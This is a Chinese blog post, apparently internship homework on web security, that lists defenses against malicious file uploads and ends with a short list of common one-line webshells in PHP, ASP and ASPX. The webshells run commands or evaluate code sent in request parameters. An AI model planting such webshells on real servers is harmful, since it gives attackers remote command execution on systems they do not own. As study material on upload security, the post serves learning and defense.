实习第七天作业

最新推荐文章于 2024-09-27 20:48:36 发布

ENMC1020

最新推荐文章于 2024-09-27 20:48:36 发布

阅读量851

点赞数 15

文章标签：网络服务器运维

本文链接：https://blog.csdn.net/ENMC1020/article/details/142172730

版权

文件上传防御手段及绕过手段

文件类型校验（MIME类型检查）
- 描述: 通过检查文件的MIME类型来确保上传的文件是合法类型。
- 防御效果: 基于浏览器和服务器端的MIME检查。
文件扩展名限制
- 描述: 限制上传文件的扩展名，例如只允许 .jpg、.png 等图片文件。
- 防御效果: 只允许预定义的安全文件扩展名。
文件内容签名验证
- 描述: 检查文件内容的魔数（文件头签名）来确认文件类型，比如图片文件的头部有特定的字节序列。
- 防御效果: 根据文件内部结构检查，较为可靠。
文件大小限制
- 描述: 限制上传文件的大小，避免上传非常大的文件导致服务器资源耗尽。
- 防御效果: 保护服务器免受资源耗尽攻击。
文件存储路径的安全性
- 描述: 文件上传后，确保文件存储在安全的目录中，并且上传文件的路径不可执行。
- 防御效果: 防止上传的文件被当作可执行文件运行。
重命名上传文件
- 描述: 上传文件后，使用安全的随机命名（如 UUID）替代原始文件名。
- 防御效果: 防止攻击者通过文件名构造恶意代码执行。
服务器端权限控制
- 描述: 对文件上传后的目录进行严格的权限控制，确保文件不可执行。
- 防御效果: 限制上传文件的可访问性，防止直接通过 URL 执行上传的恶意文件。
杀毒软件或安全网关
- 描述: 在上传时或上传后，使用杀毒软件或安全网关对文件进行扫描。
- 防御效果: 有效检测并阻止已知恶意文件。

文件上传常用一句话木马

<?php @eval($_POST['attack']) ?>
<?php system($_GET['cmd']);?>
<%eval request ("pass")%>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>